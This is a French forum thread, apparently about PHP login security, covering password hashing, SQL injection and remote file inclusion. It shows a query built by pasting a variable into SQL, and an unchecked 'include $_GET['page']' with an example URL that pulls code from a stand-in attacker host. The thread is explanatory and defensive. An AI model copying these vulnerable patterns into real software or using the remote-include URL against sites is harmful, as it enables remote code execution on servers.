juste à ce qu’on ne puisse pas créer un dictionnaire pour une base utilisateur, mais qu’il soit nécessaire d’en faire un par utilisateur.
parce qu’il y aura toujours quelqu’un avec « 123456 » en mdp.
MD5, SHA et autre hash c’est des surjections, c’est donc mathematiquement impossible de parler d’inverse vu qu’il y a plusieurs valeurs qui donnent le meme hash.
[quote=“LoneWolf, post:4, topic: 51260”]Ne JAMAIS tester le pass dans sql, NEVER!!
Donc:
$sql="SELECT password FROM $tbl_name WHERE username='$f_login'";
$result=mysql_query($sql);
Et apres tu teste si password est egal a f_mdp en PHP![/quote]Peux-tu expliquer en quoi c’est mal ? Merci d’avance.
dans un premier temps, il fait un * sur le select. Ensuite, virer le password du select permet de limiter encore plus les risque de sql injection. Enfin tu peux faire des stats sur les tentatives de login alors qu’avec un login & pass en sql, tu peux pas savoir si c’est le login ou le pass qui est faux (sachant que pour éviter de donner des infos, tu envoie toujours l’erreur « login ou pass éroné ».
comme je l’ai mis avant, la secu c’est limiter les risques, et moins tu passe de données utilisateur en SQL, mieux c’est. �?videment ca ne dispense pas de checker correctement $pass même si on le donne pas a manger a sql 
LoneWolf
Push the tempopo EUH la securite
[quote=“LoneWolf, post:24, topic: 51260”]Ensuite, virer le password du select permet de limiter encore plus les risque de sql injection.[/quote]Dans mon cas les données transmises sont échappées, ça ne change rien que j’envoie ou non le pass.[quote=“LoneWolf, post:24, topic: 51260”](sachant que pour éviter de donner des infos, tu envoie toujours l’erreur “login ou pass éroné”.[/quote]On est d’accord. :D[quote=“LoneWolf, post:24, topic: 51260”]comme je l’ai mis avant, la secu c’est limiter les risques, et moins tu passe de données utilisateur en SQL, mieux c’est.[/quote]Quelle différence ça fait de recevoir le pass au lieu de l’envoyer dans la requête ?
Je considere qu’il y a toujours un risque. Donc j’en elimine un, meme s’il est faible.
LoneWolf
But maybe I’m wrong
Merci pour vos réponses bien développées, ça m’a grandement aidé a y voir plus clair !
Euh. Je connais rien au PHP, j’ai du en faire moins de qqes jours dans ma vie.
Mais ce que tu expliques, c’est que si tu fais « index.php?page=http://perso.pirate.com/always_true.php » tu vas inclure dans ton code (si le log/pass est bon) un code généré par un serveur distant?
LE MOTEUR PHP AUTORISE CA?
Si oui, je suis sur le cul.
Je confirme, me suis fait eu une fois comme ça.
j’avais fait un petit site il y a quelque temps, avec une seule page mère qui faisait des includes des pages filles, sans aucune protections, évidement, je me suis retrouvé avec une belle page de fishing ebay et des pdf de naruto sur le serveur…
php sait ouvrir une url http comme s’il s’agissait d’un fichier local.
la fonction include ouvre un fichier et interprete le code contenu à l’intérieur.
donc une ligne comme celle-ci va effectivement ouvrir et interpréter le code généré par le fichier always_true.php:
include 'http://perso.pirate.com/always_true.php';et effectivement, si le développeur fait ceci:
include $_GET['page'];sans vérifier ce qui se trouve dans $_GET[‹ page ›], alors n’importe qui peut executer du code sur le serveur.
Et je ne vois pas pourquoi php devrait l’interdire.
L’interdire purement non, mais que ce soit configuré par défaut pour ne pas être permis, ou alors forcé un paramètre demandant explicitement un appelle externe au domaine, ce serait mieux. Car ouvrir une URL externe au serveur comme un fichier est largement moins répandu qu’ouvrir un script interne au serveur (et constitue une faille énorme dans ta sécurité).
Comme les magic_quote a une époque, un truc pas franchement utile qui a fait plus de mal que de bien. Ils ont finit par corriger le tir, on peut espérer qu’ils le feront là aussi un jour. 